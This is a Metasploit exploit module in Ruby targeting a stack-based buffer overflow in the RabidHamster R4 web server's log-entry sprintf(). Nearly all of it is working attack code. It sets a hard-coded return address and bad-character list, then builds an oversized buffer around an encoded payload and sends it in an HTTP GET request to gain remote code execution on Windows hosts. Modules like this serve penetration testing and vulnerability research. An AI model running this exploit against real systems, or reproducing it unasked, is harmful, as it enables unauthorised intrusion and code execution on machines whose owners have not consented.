RabidHamster R4 Log Entry sprintf() Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability found in RabidHamster R4's web server.  
By supplying a malformed HTTP request, it is possible to trigger a stack-based  
buffer overflow when generating a log, which may result in arbitrary code  
execution under the context of the user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Luigi Auriemma', #Discovery, PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['OSVDB', '79007'],  
['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],  
['URL', 'http://secunia.com/advisories/47901/']  
],  
'Payload' =>  
{  
'StackAdjustment' => -3500,  
'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "process"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['R4 v1.25', {'Ret'=>0x73790533}] #JMP ESI (ddraw.dll)  
],  
'Privileged' => false,  
'DisclosureDate' => "Feb 09 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('RPORT', [true, 'The remote port', 8888])  
], self.class)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/'  
})  
  
if res and res.headers['Server'] == 'R4 Embedded Server'  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCoded::Safe  
end  
end  
  
def exploit  
buf = ''  
buf << payload.encoded  
buf << rand_text_alpha(2022-buf.length, payload_badchars)  
buf << [target.ret].pack("V*")  
buf << pattern_create(200)  
buf << rand_text_alpha(3000-buf.length, payload_badchars)  
  
send_request_cgi({  
'method' => 'GET',  
'uri' => "/?#{buf}"  
})  
end  
end  
`